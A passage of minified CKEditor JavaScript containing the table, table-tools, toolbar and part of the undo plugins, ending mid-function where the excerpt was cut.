CKEDITOR.dom.element.prototype.focusPrevious=function(i,h){for(var g=void 0===h?this.getTabIndex():h,f,c,d,e=0,b,a=this.getDocument().getBody().getLast();a=a.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!f)if(!c&&a.equals(this)){if(c=!0,i){if(!(a=a.getPreviousSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;f=1}}else c&&!this.contains(a)&&(f=1);if(a.isVisible()&&!(0>(b=a.getTabIndex())))if(0>=g){if(f&&0===b){d=a;break}b>e&&(d=a,e=b)}else{if(f&&b==g){d=a;break}if(b<g&&(!d||b>e))d=a,e=b}}d&&d.focus()};CKEDITOR.plugins.add("table",{requires:"dialog",init:function(a){function e(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,f){this.setState(f.contains("table",1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}if(!a.blockless){var c=a.lang.table;a.addCommand("table",new CKEDITOR.dialogCommand("table",{context:"table",allowedContent:"table{width,height}[align,border,cellpadding,cellspacing,summary];caption tbody thead tfoot;th td tr[scope];"+(a.plugins.dialogadvtab?
"table"+a.plugins.dialogadvtab.allowedContent():""),requiredContent:"table",contentTransformations:[["table{width}: sizeToStyle","table[width]: sizeToAttribute"]]}));a.addCommand("tableProperties",new CKEDITOR.dialogCommand("tableProperties",e()));a.addCommand("tableDelete",e({exec:function(a){var b=a.elementPath().contains("table",1);if(b){var d=b.getParent(),c=a.editable();1==d.getChildCount()&&(!d.is("td","th")&&!d.equals(c))&&(b=d);a=a.createRange();a.moveToPosition(b,CKEDITOR.POSITION_BEFORE_START);
b.remove();a.select()}}}));a.ui.addButton&&a.ui.addButton("Table",{label:c.toolbar,command:"table",toolbar:"insert,30"});CKEDITOR.dialog.add("table",this.path+"dialogs/table.js");CKEDITOR.dialog.add("tableProperties",this.path+"dialogs/table.js");a.addMenuItems&&a.addMenuItems({table:{label:c.menu,command:"tableProperties",group:"table",order:5},tabledelete:{label:c.deleteTable,command:"tableDelete",group:"table",order:1}});a.on("doubleclick",function(a){a.data.element.is("table")&&(a.data.dialog=
"tableProperties")});a.contextMenu&&a.contextMenu.addListener(function(){return{tabledelete:CKEDITOR.TRISTATE_OFF,table:CKEDITOR.TRISTATE_OFF}})}}});(function(){function p(e){function d(a){!(0<b.length)&&(a.type==CKEDITOR.NODE_ELEMENT&&y.test(a.getName())&&!a.getCustomData("selected_cell"))&&(CKEDITOR.dom.element.setMarker(c,a,"selected_cell",!0),b.push(a))}for(var e=e.getRanges(),b=[],c={},a=0;a<e.length;a++){var f=e[a];if(f.collapsed)f=f.getCommonAncestor(),(f=f.getAscendant("td",!0)||f.getAscendant("th",!0))&&b.push(f);else{var f=new CKEDITOR.dom.walker(f),g;for(f.guard=d;g=f.next();)if(g.type!=CKEDITOR.NODE_ELEMENT||!g.is(CKEDITOR.dtd.table))if((g=
g.getAscendant("td",!0)||g.getAscendant("th",!0))&&!g.getCustomData("selected_cell"))CKEDITOR.dom.element.setMarker(c,g,"selected_cell",!0),b.push(g)}}CKEDITOR.dom.element.clearAllMarkers(c);return b}function o(e,d){for(var b=p(e),c=b[0],a=c.getAscendant("table"),c=c.getDocument(),f=b[0].getParent(),g=f.$.rowIndex,b=b[b.length-1],h=b.getParent().$.rowIndex+b.$.rowSpan-1,b=new CKEDITOR.dom.element(a.$.rows[h]),g=d?g:h,f=d?f:b,b=CKEDITOR.tools.buildTableMap(a),a=b[g],g=d?b[g-1]:b[g+1],b=b[0].length,
c=c.createElement("tr"),h=0;a[h]&&h<b;h++){var i;1<a[h].rowSpan&&g&&a[h]==g[h]?(i=a[h],i.rowSpan+=1):(i=(new CKEDITOR.dom.element(a[h])).clone(),i.removeAttribute("rowSpan"),i.appendBogus(),c.append(i),i=i.$);h+=i.colSpan-1}d?c.insertBefore(f):c.insertAfter(f)}function q(e){if(e instanceof CKEDITOR.dom.selection){for(var d=p(e),b=d[0].getAscendant("table"),c=CKEDITOR.tools.buildTableMap(b),e=d[0].getParent().$.rowIndex,d=d[d.length-1],a=d.getParent().$.rowIndex+d.$.rowSpan-1,d=[],f=e;f<=a;f++){for(var g=
c[f],h=new CKEDITOR.dom.element(b.$.rows[f]),i=0;i<g.length;i++){var j=new CKEDITOR.dom.element(g[i]),l=j.getParent().$.rowIndex;1==j.$.rowSpan?j.remove():(j.$.rowSpan-=1,l==f&&(l=c[f+1],l[i-1]?j.insertAfter(new CKEDITOR.dom.element(l[i-1])):(new CKEDITOR.dom.element(b.$.rows[f+1])).append(j,1)));i+=j.$.colSpan-1}d.push(h)}c=b.$.rows;b=new CKEDITOR.dom.element(c[a+1]||(0<e?c[e-1]:null)||b.$.parentNode);for(f=d.length;0<=f;f--)q(d[f]);return b}e instanceof CKEDITOR.dom.element&&(b=e.getAscendant("table"),
1==b.$.rows.length?b.remove():e.remove());return null}function r(e,d){for(var b=d?Infinity:0,c=0;c<e.length;c++){var a;a=e[c];for(var f=d,g=a.getParent().$.cells,h=0,i=0;i<g.length;i++){var j=g[i],h=h+(f?1:j.colSpan);if(j==a.$)break}a=h-1;if(d?a<b:a>b)b=a}return b}function k(e,d){for(var b=p(e),c=b[0].getAscendant("table"),a=r(b,1),b=r(b),a=d?a:b,f=CKEDITOR.tools.buildTableMap(c),c=[],b=[],g=f.length,h=0;h<g;h++)c.push(f[h][a]),b.push(d?f[h][a-1]:f[h][a+1]);for(h=0;h<g;h++)c[h]&&(1<c[h].colSpan&&
b[h]==c[h]?(a=c[h],a.colSpan+=1):(a=(new CKEDITOR.dom.element(c[h])).clone(),a.removeAttribute("colSpan"),a.appendBogus(),a[d?"insertBefore":"insertAfter"].call(a,new CKEDITOR.dom.element(c[h])),a=a.$),h+=a.rowSpan-1)}function u(e,d){var b=e.getStartElement();if(b=b.getAscendant("td",1)||b.getAscendant("th",1)){var c=b.clone();c.appendBogus();d?c.insertBefore(b):c.insertAfter(b)}}function t(e){if(e instanceof CKEDITOR.dom.selection){var e=p(e),d=e[0]&&e[0].getAscendant("table"),b;a:{var c=0;b=e.length-
1;for(var a={},f,g;f=e[c++];)CKEDITOR.dom.element.setMarker(a,f,"delete_cell",!0);for(c=0;f=e[c++];)if((g=f.getPrevious())&&!g.getCustomData("delete_cell")||(g=f.getNext())&&!g.getCustomData("delete_cell")){CKEDITOR.dom.element.clearAllMarkers(a);b=g;break a}CKEDITOR.dom.element.clearAllMarkers(a);g=e[0].getParent();(g=g.getPrevious())?b=g.getLast():(g=e[b].getParent(),b=(g=g.getNext())?g.getChild(0):null)}for(g=e.length-1;0<=g;g--)t(e[g]);b?m(b,!0):d&&d.remove()}else e instanceof CKEDITOR.dom.element&&
(d=e.getParent(),1==d.getChildCount()?d.remove():e.remove())}function m(e,d){var b=e.getDocument(),c=CKEDITOR.document;CKEDITOR.env.ie&&10==CKEDITOR.env.version&&(c.focus(),b.focus());b=new CKEDITOR.dom.range(b);if(!b["moveToElementEdit"+(d?"End":"Start")](e))b.selectNodeContents(e),b.collapse(d?!1:!0);b.select(!0)}function v(e,d,b){e=e[d];if("undefined"==typeof b)return e;for(d=0;e&&d<e.length;d++){if(b.is&&e[d]==b.$)return d;if(d==b)return new CKEDITOR.dom.element(e[d])}return b.is?-1:null}function s(e,
d,b){var c=p(e),a;if((d?1!=c.length:2>c.length)||(a=e.getCommonAncestor())&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("table"))return!1;var f,e=c[0];a=e.getAscendant("table");var g=CKEDITOR.tools.buildTableMap(a),h=g.length,i=g[0].length,j=e.getParent().$.rowIndex,l=v(g,j,e);if(d){var n;try{var m=parseInt(e.getAttribute("rowspan"),10)||1;f=parseInt(e.getAttribute("colspan"),10)||1;n=g["up"==d?j-m:"down"==d?j+m:j]["left"==d?l-f:"right"==d?l+f:l]}catch(z){return!1}if(!n||e.$==n)return!1;c["up"==d||"left"==
d?"unshift":"push"](new CKEDITOR.dom.element(n))}for(var d=e.getDocument(),o=j,m=n=0,q=!b&&new CKEDITOR.dom.documentFragment(d),s=0,d=0;d<c.length;d++){f=c[d];var k=f.getParent(),t=f.getFirst(),r=f.$.colSpan,u=f.$.rowSpan,k=k.$.rowIndex,w=v(g,k,f),s=s+r*u,m=Math.max(m,w-l+r);n=Math.max(n,k-j+u);if(!b){r=f;(u=r.getBogus())&&u.remove();r.trim();if(f.getChildren().count()){if(k!=o&&t&&(!t.isBlockBoundary||!t.isBlockBoundary({br:1})))(o=q.getLast(CKEDITOR.dom.walker.whitespaces(!0)))&&(!o.is||!o.is("br"))&&
q.append("br");f.moveChildren(q)}d?f.remove():f.setHtml("")}o=k}if(b)return n*m==s;q.moveChildren(e);e.appendBogus();m>=i?e.removeAttribute("rowSpan"):e.$.rowSpan=n;n>=h?e.removeAttribute("colSpan"):e.$.colSpan=m;b=new CKEDITOR.dom.nodeList(a.$.rows);c=b.count();for(d=c-1;0<=d;d--)a=b.getItem(d),a.$.cells.length||(a.remove(),c++);return e}function w(e,d){var b=p(e);if(1<b.length)return!1;if(d)return!0;var b=b[0],c=b.getParent(),a=c.getAscendant("table"),f=CKEDITOR.tools.buildTableMap(a),g=c.$.rowIndex,
h=v(f,g,b),i=b.$.rowSpan,j;if(1<i){j=Math.ceil(i/2);for(var i=Math.floor(i/2),c=g+j,a=new CKEDITOR.dom.element(a.$.rows[c]),f=v(f,c),l,c=b.clone(),g=0;g<f.length;g++)if(l=f[g],l.parentNode==a.$&&g>h){c.insertBefore(new CKEDITOR.dom.element(l));break}else l=null;l||a.append(c)}else{i=j=1;a=c.clone();a.insertAfter(c);a.append(c=b.clone());l=v(f,g);for(h=0;h<l.length;h++)l[h].rowSpan++}c.appendBogus();b.$.rowSpan=j;c.$.rowSpan=i;1==j&&b.removeAttribute("rowSpan");1==i&&c.removeAttribute("rowSpan");return c}
function x(e,d){var b=p(e);if(1<b.length)return!1;if(d)return!0;var b=b[0],c=b.getParent(),a=c.getAscendant("table"),a=CKEDITOR.tools.buildTableMap(a),f=v(a,c.$.rowIndex,b),g=b.$.colSpan;if(1<g)c=Math.ceil(g/2),g=Math.floor(g/2);else{for(var g=c=1,h=[],i=0;i<a.length;i++){var j=a[i];h.push(j[f]);1<j[f].rowSpan&&(i+=j[f].rowSpan-1)}for(a=0;a<h.length;a++)h[a].colSpan++}a=b.clone();a.insertAfter(b);a.appendBogus();b.$.colSpan=c;a.$.colSpan=g;1==c&&b.removeAttribute("colSpan");1==g&&a.removeAttribute("colSpan");
return a}var y=/^(?:td|th)$/;CKEDITOR.plugins.tabletools={requires:"table,dialog,contextmenu",init:function(e){function d(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,b){this.setState(b.contains({td:1,th:1},1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}function b(a,b){var c=e.addCommand(a,b);e.addFeature(c)}var c=e.lang.table;b("cellProperties",new CKEDITOR.dialogCommand("cellProperties",d({allowedContent:"td th{width,height,border-color,background-color,white-space,vertical-align,text-align}[colspan,rowspan]",
requiredContent:"table"})));CKEDITOR.dialog.add("cellProperties",this.path+"dialogs/tableCell.js");b("rowDelete",d({requiredContent:"table",exec:function(a){a=a.getSelection();m(q(a))}}));b("rowInsertBefore",d({requiredContent:"table",exec:function(a){a=a.getSelection();o(a,!0)}}));b("rowInsertAfter",d({requiredContent:"table",exec:function(a){a=a.getSelection();o(a)}}));b("columnDelete",d({requiredContent:"table",exec:function(a){for(var a=a.getSelection(),a=p(a),b=a[0],c=a[a.length-1],a=b.getAscendant("table"),
d=CKEDITOR.tools.buildTableMap(a),e,j,l=[],n=0,o=d.length;n<o;n++)for(var k=0,q=d[n].length;k<q;k++)d[n][k]==b.$&&(e=k),d[n][k]==c.$&&(j=k);for(n=e;n<=j;n++)for(k=0;k<d.length;k++)c=d[k],b=new CKEDITOR.dom.element(a.$.rows[k]),c=new CKEDITOR.dom.element(c[n]),c.$&&(1==c.$.colSpan?c.remove():c.$.colSpan-=1,k+=c.$.rowSpan-1,b.$.cells.length||l.push(b));j=a.$.rows[0]&&a.$.rows[0].cells;e=new CKEDITOR.dom.element(j[e]||(e?j[e-1]:a.$.parentNode));l.length==o&&a.remove();e&&m(e,!0)}}));b("columnInsertBefore",
d({requiredContent:"table",exec:function(a){a=a.getSelection();k(a,!0)}}));b("columnInsertAfter",d({requiredContent:"table",exec:function(a){a=a.getSelection();k(a)}}));b("cellDelete",d({requiredContent:"table",exec:function(a){a=a.getSelection();t(a)}}));b("cellMerge",d({allowedContent:"td[colspan,rowspan]",requiredContent:"td[colspan,rowspan]",exec:function(a){m(s(a.getSelection()),!0)}}));b("cellMergeRight",d({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(a){m(s(a.getSelection(),
"right"),!0)}}));b("cellMergeDown",d({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",exec:function(a){m(s(a.getSelection(),"down"),!0)}}));b("cellVerticalSplit",d({allowedContent:"td[rowspan]",requiredContent:"td[rowspan]",exec:function(a){m(w(a.getSelection()))}}));b("cellHorizontalSplit",d({allowedContent:"td[colspan]",requiredContent:"td[colspan]",exec:function(a){m(x(a.getSelection()))}}));b("cellInsertBefore",d({requiredContent:"table",exec:function(a){a=a.getSelection();u(a,!0)}}));
b("cellInsertAfter",d({requiredContent:"table",exec:function(a){a=a.getSelection();u(a)}}));e.addMenuItems&&e.addMenuItems({tablecell:{label:c.cell.menu,group:"tablecell",order:1,getItems:function(){var a=e.getSelection(),b=p(a);return{tablecell_insertBefore:CKEDITOR.TRISTATE_OFF,tablecell_insertAfter:CKEDITOR.TRISTATE_OFF,tablecell_delete:CKEDITOR.TRISTATE_OFF,tablecell_merge:s(a,null,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_merge_right:s(a,"right",!0)?CKEDITOR.TRISTATE_OFF:
CKEDITOR.TRISTATE_DISABLED,tablecell_merge_down:s(a,"down",!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_vertical:w(a,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_split_horizontal:x(a,!0)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,tablecell_properties:0<b.length?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED}}},tablecell_insertBefore:{label:c.cell.insertBefore,group:"tablecell",command:"cellInsertBefore",order:5},tablecell_insertAfter:{label:c.cell.insertAfter,
group:"tablecell",command:"cellInsertAfter",order:10},tablecell_delete:{label:c.cell.deleteCell,group:"tablecell",command:"cellDelete",order:15},tablecell_merge:{label:c.cell.merge,group:"tablecell",command:"cellMerge",order:16},tablecell_merge_right:{label:c.cell.mergeRight,group:"tablecell",command:"cellMergeRight",order:17},tablecell_merge_down:{label:c.cell.mergeDown,group:"tablecell",command:"cellMergeDown",order:18},tablecell_split_horizontal:{label:c.cell.splitHorizontal,group:"tablecell",
command:"cellHorizontalSplit",order:19},tablecell_split_vertical:{label:c.cell.splitVertical,group:"tablecell",command:"cellVerticalSplit",order:20},tablecell_properties:{label:c.cell.title,group:"tablecellproperties",command:"cellProperties",order:21},tablerow:{label:c.row.menu,group:"tablerow",order:1,getItems:function(){return{tablerow_insertBefore:CKEDITOR.TRISTATE_OFF,tablerow_insertAfter:CKEDITOR.TRISTATE_OFF,tablerow_delete:CKEDITOR.TRISTATE_OFF}}},tablerow_insertBefore:{label:c.row.insertBefore,
group:"tablerow",command:"rowInsertBefore",order:5},tablerow_insertAfter:{label:c.row.insertAfter,group:"tablerow",command:"rowInsertAfter",order:10},tablerow_delete:{label:c.row.deleteRow,group:"tablerow",command:"rowDelete",order:15},tablecolumn:{label:c.column.menu,group:"tablecolumn",order:1,getItems:function(){return{tablecolumn_insertBefore:CKEDITOR.TRISTATE_OFF,tablecolumn_insertAfter:CKEDITOR.TRISTATE_OFF,tablecolumn_delete:CKEDITOR.TRISTATE_OFF}}},tablecolumn_insertBefore:{label:c.column.insertBefore,
group:"tablecolumn",command:"columnInsertBefore",order:5},tablecolumn_insertAfter:{label:c.column.insertAfter,group:"tablecolumn",command:"columnInsertAfter",order:10},tablecolumn_delete:{label:c.column.deleteColumn,group:"tablecolumn",command:"columnDelete",order:15}});e.contextMenu&&e.contextMenu.addListener(function(a,b,c){return(a=c.contains({td:1,th:1},1))&&!a.isReadOnly()?{tablecell:CKEDITOR.TRISTATE_OFF,tablerow:CKEDITOR.TRISTATE_OFF,tablecolumn:CKEDITOR.TRISTATE_OFF}:null})},getSelectedCells:p};
CKEDITOR.plugins.add("tabletools",CKEDITOR.plugins.tabletools)})();CKEDITOR.tools.buildTableMap=function(p){for(var p=p.$.rows,o=-1,q=[],r=0;r<p.length;r++){o++;!q[o]&&(q[o]=[]);for(var k=-1,u=0;u<p[r].cells.length;u++){var t=p[r].cells[u];for(k++;q[o][k];)k++;for(var m=isNaN(t.colSpan)?1:t.colSpan,t=isNaN(t.rowSpan)?1:t.rowSpan,v=0;v<t;v++){q[o+v]||(q[o+v]=[]);for(var s=0;s<m;s++)q[o+v][k+s]=p[r].cells[u]}k+=m-1}}return q};(function(){function w(a){function d(){for(var b=g(),e=CKEDITOR.tools.clone(a.config.toolbarGroups)||n(a),f=0;f<e.length;f++){var k=e[f];if("/"!=k){"string"==typeof k&&(k=e[f]={name:k});var i,d=k.groups;if(d)for(var h=0;h<d.length;h++)i=d[h],(i=b[i])&&c(k,i);(i=b[k.name])&&c(k,i)}}return e}function g(){var b={},c,f,e;for(c in a.ui.items)f=a.ui.items[c],e=f.toolbar||"others",e=e.split(","),f=e[0],e=parseInt(e[1]||-1,10),b[f]||(b[f]=[]),b[f].push({name:c,order:e});for(f in b)b[f]=b[f].sort(function(b,
a){return b.order==a.order?0:0>a.order?-1:0>b.order?1:b.order<a.order?-1:1});return b}function c(c,e){if(e.length){c.items?c.items.push(a.ui.create("-")):c.items=[];for(var f;f=e.shift();)if(f="string"==typeof f?f:f.name,!b||-1==CKEDITOR.tools.indexOf(b,f))(f=a.ui.create(f))&&a.addFeature(f)&&c.items.push(f)}}function h(b){var a=[],e,d,h;for(e=0;e<b.length;++e)d=b[e],h={},"/"==d?a.push(d):CKEDITOR.tools.isArray(d)?(c(h,CKEDITOR.tools.clone(d)),a.push(h)):d.items&&(c(h,CKEDITOR.tools.clone(d.items)),
h.name=d.name,a.push(h));return a}var b=a.config.removeButtons,b=b&&b.split(","),e=a.config.toolbar;"string"==typeof e&&(e=a.config["toolbar_"+e]);return a.toolbar=e?h(e):d()}function n(a){return a._.toolbarGroups||(a._.toolbarGroups=[{name:"document",groups:["mode","document","doctools"]},{name:"clipboard",groups:["clipboard","undo"]},{name:"editing",groups:["find","selection","spellchecker"]},{name:"forms"},"/",{name:"basicstyles",groups:["basicstyles","cleanup"]},{name:"paragraph",groups:["list",
"indent","blocks","align","bidi"]},{name:"links"},{name:"insert"},"/",{name:"styles"},{name:"colors"},{name:"tools"},{name:"others"},{name:"about"}])}var u=function(){this.toolbars=[];this.focusCommandExecuted=!1};u.prototype.focus=function(){for(var a=0,d;d=this.toolbars[a++];)for(var g=0,c;c=d.items[g++];)if(c.focus){c.focus();return}};var x={modes:{wysiwyg:1,source:1},readOnly:1,exec:function(a){a.toolbox&&(a.toolbox.focusCommandExecuted=!0,CKEDITOR.env.ie||CKEDITOR.env.air?setTimeout(function(){a.toolbox.focus()},
100):a.toolbox.focus())}};CKEDITOR.plugins.add("toolbar",{requires:"button",init:function(a){var d,g=function(c,h){var b,e="rtl"==a.lang.dir,j=a.config.toolbarGroupCycling,o=e?37:39,e=e?39:37,j=void 0===j||j;switch(h){case 9:case CKEDITOR.SHIFT+9:for(;!b||!b.items.length;)if(b=9==h?(b?b.next:c.toolbar.next)||a.toolbox.toolbars[0]:(b?b.previous:c.toolbar.previous)||a.toolbox.toolbars[a.toolbox.toolbars.length-1],b.items.length)for(c=b.items[d?b.items.length-1:0];c&&!c.focus;)(c=d?c.previous:c.next)||
(b=0);c&&c.focus();return!1;case o:b=c;do b=b.next,!b&&j&&(b=c.toolbar.items[0]);while(b&&!b.focus);b?b.focus():g(c,9);return!1;case 40:return c.button&&c.button.hasArrow?(a.once("panelShow",function(b){b.data._.panel._.currentBlock.onKeyDown(40)}),c.execute()):g(c,40==h?o:e),!1;case e:case 38:b=c;do b=b.previous,!b&&j&&(b=c.toolbar.items[c.toolbar.items.length-1]);while(b&&!b.focus);b?b.focus():(d=1,g(c,CKEDITOR.SHIFT+9),d=0);return!1;case 27:return a.focus(),!1;case 13:case 32:return c.execute(),
!1}return!0};a.on("uiSpace",function(c){if(c.data.space==a.config.toolbarLocation){c.removeListener();a.toolbox=new u;var d=CKEDITOR.tools.getNextId(),b=['<span id="',d,'" class="cke_voice_label">',a.lang.toolbar.toolbars,"</span>",'<span id="'+a.ui.spaceId("toolbox")+'" class="cke_toolbox" role="group" aria-labelledby="',d,'" onmousedown="return false;">'],d=!1!==a.config.toolbarStartupExpanded,e,j;a.config.toolbarCanCollapse&&a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE&&b.push('<span class="cke_toolbox_main"'+
(d?">":' style="display:none">'));for(var o=a.toolbox.toolbars,f=w(a),k=0;k<f.length;k++){var i,l=0,r,m=f[k],s;if(m)if(e&&(b.push("</span>"),j=e=0),"/"===m)b.push('<span class="cke_toolbar_break"></span>');else{s=m.items||m;for(var t=0;t<s.length;t++){var p=s[t],n;if(p)if(p.type==CKEDITOR.UI_SEPARATOR)j=e&&p;else{n=!1!==p.canGroup;if(!l){i=CKEDITOR.tools.getNextId();l={id:i,items:[]};r=m.name&&(a.lang.toolbar.toolbarGroups[m.name]||m.name);b.push('<span id="',i,'" class="cke_toolbar"',r?' aria-labelledby="'+
i+'_label"':"",' role="toolbar">');r&&b.push('<span id="',i,'_label" class="cke_voice_label">',r,"</span>");b.push('<span class="cke_toolbar_start"></span>');var q=o.push(l)-1;0<q&&(l.previous=o[q-1],l.previous.next=l)}n?e||(b.push('<span class="cke_toolgroup" role="presentation">'),e=1):e&&(b.push("</span>"),e=0);i=function(c){c=c.render(a,b);q=l.items.push(c)-1;if(q>0){c.previous=l.items[q-1];c.previous.next=c}c.toolbar=l;c.onkey=g;c.onfocus=function(){a.toolbox.focusCommandExecuted||a.focus()}};
j&&(i(j),j=0);i(p)}}e&&(b.push("</span>"),j=e=0);l&&b.push('<span class="cke_toolbar_end"></span></span>')}}a.config.toolbarCanCollapse&&b.push("</span>");if(a.config.toolbarCanCollapse&&a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var v=CKEDITOR.tools.addFunction(function(){a.execCommand("toolbarCollapse")});a.on("destroy",function(){CKEDITOR.tools.removeFunction(v)});a.addCommand("toolbarCollapse",{readOnly:1,exec:function(b){var a=b.ui.space("toolbar_collapser"),c=a.getPrevious(),e=b.ui.space("contents"),
d=c.getParent(),f=parseInt(e.$.style.height,10),h=d.$.offsetHeight,g=a.hasClass("cke_toolbox_collapser_min");g?(c.show(),a.removeClass("cke_toolbox_collapser_min"),a.setAttribute("title",b.lang.toolbar.toolbarCollapse)):(c.hide(),a.addClass("cke_toolbox_collapser_min"),a.setAttribute("title",b.lang.toolbar.toolbarExpand));a.getFirst().setText(g?"▲":"◀");e.setStyle("height",f-(d.$.offsetHeight-h)+"px");b.fire("resize")},modes:{wysiwyg:1,source:1}});a.setKeystroke(CKEDITOR.ALT+(CKEDITOR.env.ie||CKEDITOR.env.webkit?
189:109),"toolbarCollapse");b.push('<a title="'+(d?a.lang.toolbar.toolbarCollapse:a.lang.toolbar.toolbarExpand)+'" id="'+a.ui.spaceId("toolbar_collapser")+'" tabIndex="-1" class="cke_toolbox_collapser');d||b.push(" cke_toolbox_collapser_min");b.push('" onclick="CKEDITOR.tools.callFunction('+v+')">','<span class="cke_arrow">&#9650;</span>',"</a>")}b.push("</span>");c.data.html+=b.join("")}});a.on("destroy",function(){if(this.toolbox){var a,d=0,b,e,g;for(a=this.toolbox.toolbars;d<a.length;d++){e=a[d].items;
for(b=0;b<e.length;b++)g=e[b],g.clickFn&&CKEDITOR.tools.removeFunction(g.clickFn),g.keyDownFn&&CKEDITOR.tools.removeFunction(g.keyDownFn)}}});a.on("uiReady",function(){var c=a.ui.space("toolbox");c&&a.focusManager.add(c,1)});a.addCommand("toolbarFocus",x);a.setKeystroke(CKEDITOR.ALT+121,"toolbarFocus");a.ui.add("-",CKEDITOR.UI_SEPARATOR,{});a.ui.addHandler(CKEDITOR.UI_SEPARATOR,{create:function(){return{render:function(a,d){d.push('<span class="cke_toolbar_separator" role="separator"></span>');return{}}}}})}});
CKEDITOR.ui.prototype.addToolbarGroup=function(a,d,g){var c=n(this.editor),h=0===d,b={name:a};if(g){if(g=CKEDITOR.tools.search(c,function(a){return a.name==g})){!g.groups&&(g.groups=[]);if(d&&(d=CKEDITOR.tools.indexOf(g.groups,d),0<=d)){g.groups.splice(d+1,0,a);return}h?g.groups.splice(0,0,a):g.groups.push(a);return}d=null}d&&(d=CKEDITOR.tools.indexOf(c,function(a){return a.name==d}));h?c.splice(0,0,a):"number"==typeof d?c.splice(d+1,0,b):c.push(a)}})();CKEDITOR.UI_SEPARATOR="separator";
CKEDITOR.config.toolbarLocation="top";(function(){var g=[CKEDITOR.CTRL+90,CKEDITOR.CTRL+89,CKEDITOR.CTRL+CKEDITOR.SHIFT+90],l={8:1,46:1};CKEDITOR.plugins.add("undo",{init:function(a){function b(a){d.enabled&&!1!==a.data.command.canUndo&&d.save()}function c(){d.enabled=a.readOnly?!1:"wysiwyg"==a.mode;d.onChange()}var d=a.undoManager=new e(a),j=d.editingHandler=new i(d),f=a.addCommand("undo",{exec:function(){d.undo()&&(a.selectionChange(),this.fire("afterUndo"))},startDisabled:!0,canUndo:!1}),h=a.addCommand("redo",{exec:function(){d.redo()&&
(a.selectionChange(),this.fire("afterRedo"))},startDisabled:!0,canUndo:!1});a.setKeystroke([[g[0],"undo"],[g[1],"redo"],[g[2],"redo"]]);d.onChange=function(){f.setState(d.undoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);h.setState(d.redoable()?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)};a.on("beforeCommandExec",b);a.on("afterCommandExec",b);a.on("saveSnapshot",function(a){d.save(a.data&&a.data.contentOnly)});a.on("contentDom",j.attachListeners,j);a.on("instanceReady",function(){a.fire("saveSnapshot")});
a.on("beforeModeUnload",function(){"wysiwyg"==a.mode&&d.save(!0)});a.on("mode",c);a.on("readOnly",c);a.ui.addButton&&(a.ui.addButton("Undo",{label:a.lang.undo.undo,command:"undo",toolbar:"undo,10"}),a.ui.addButton("Redo",{label:a.lang.undo.redo,command:"redo",toolbar:"undo,20"}));a.resetUndo=function(){d.reset();a.fire("saveSnapshot")};a.on("updateSnapshot",function(){d.currentImage&&d.update()});a.on("lockSnapshot",function(a){a=a.data;d.lock(a&&a.dontUpdate,a&&a.forceUpdate)});a.on("unlockSnapshot",
d.unlock,d)}});CKEDITOR.plugins.undo={};var e=CKEDITOR.plugins.undo.UndoManager=function(a){this.strokesRecorded=[0,0];this.locked=null;this.previousKeyGroup=-1;this.limit=a.config.undoStackSize||20;this.strokesLimit=25;this.editor=a;this.reset()};e.prototype={type:function(a,b){var c=e.getKeyGroup(a),d=this.strokesRecorded[c]+1,b=b||d>=this.strokesLimit;this.typing||(this.hasUndo=this.typing=!0,this.hasRedo=!1,this.onChange());b?(d=0,this.editor.fire("saveSnapshot")):this.editor.fire("change");this.strokesRecorded[c]=
d;this.previousKeyGroup=c},keyGroupChanged:function(a){return e.getKeyGroup(a)!=this.previousKeyGroup},reset:function(){this.snapshots=[];this.index=-1;this.currentImage=null;this.hasRedo=this.hasUndo=!1;this.locked=null;this.resetType()},resetType:function(){this.strokesRecorded=[0,0];this.typing=!1;this.previousKeyGroup=-1},refreshState:function(){this.hasUndo=!!this.getNextImage(!0);this.hasRedo=!!this.getNextImage(!1);this.resetType();this.onChange()},save:function(a,b,c){var d=this.editor;if(this.locked||
"ready"!=d.status||"wysiwyg"!=d.mode)return!1;var e=d.editable();if(!e||"ready"!=e.status)return!1;e=this.snapshots;b||(b=new f(d));if(!1===b.contents)return!1;if(this.currentImage)if(b.equalsContent(this.currentImage)){if(a||b.equalsSelection(this.currentImage))return!1}else!1!==c&&d.fire("change");e.splice(this.index+1,e.length-this.index-1);e.length==this.limit&&e.shift();this.index=e.push(b)-1;this.currentImage=b;!1!==c&&this.refreshState();return!0},restoreImage:function(a){var b=this.editor,
c;a.bookmarks&&(b.focus(),c=b.getSelection());this.locked={level:999};this.editor.loadSnapshot(a.contents);a.bookmarks?c.selectBookmarks(a.bookmarks):CKEDITOR.env.ie&&(c=this.editor.document.getBody().$.createTextRange(),c.collapse(!0),c.select());this.locked=null;this.index=a.index;this.currentImage=this.snapshots[this.index];this.update();this.refreshState();b.fire("change")},getNextImage:function(a){var b=this.snapshots,c=this.currentImage,d;if(c)if(a)for(d=this.index-1;0<=d;d--){if(a=b[d],!c.equalsContent(a))return a.index=
d,a}else for(d=this.index+1;d<b.length;d++)if(a=b[d],!c.equalsContent(a))return a.index=d,a;return null},redoable:function(){return this.enabled&&this.hasRedo},undoable:function(){return this.enabled&&this.hasUndo},undo:function(){if(this.undoable()){this.save(!0);var a=this.getNextImage(!0);if(a)return this.restoreImage(a),!0}return!1},redo:function(){if(this.redoable()&&(this.save(!0),this.redoable())){var a=this.getNextImage(!1);if(a)return this.restoreImage(a),!0}return!1},update:function(a){if(!this.locked){a||
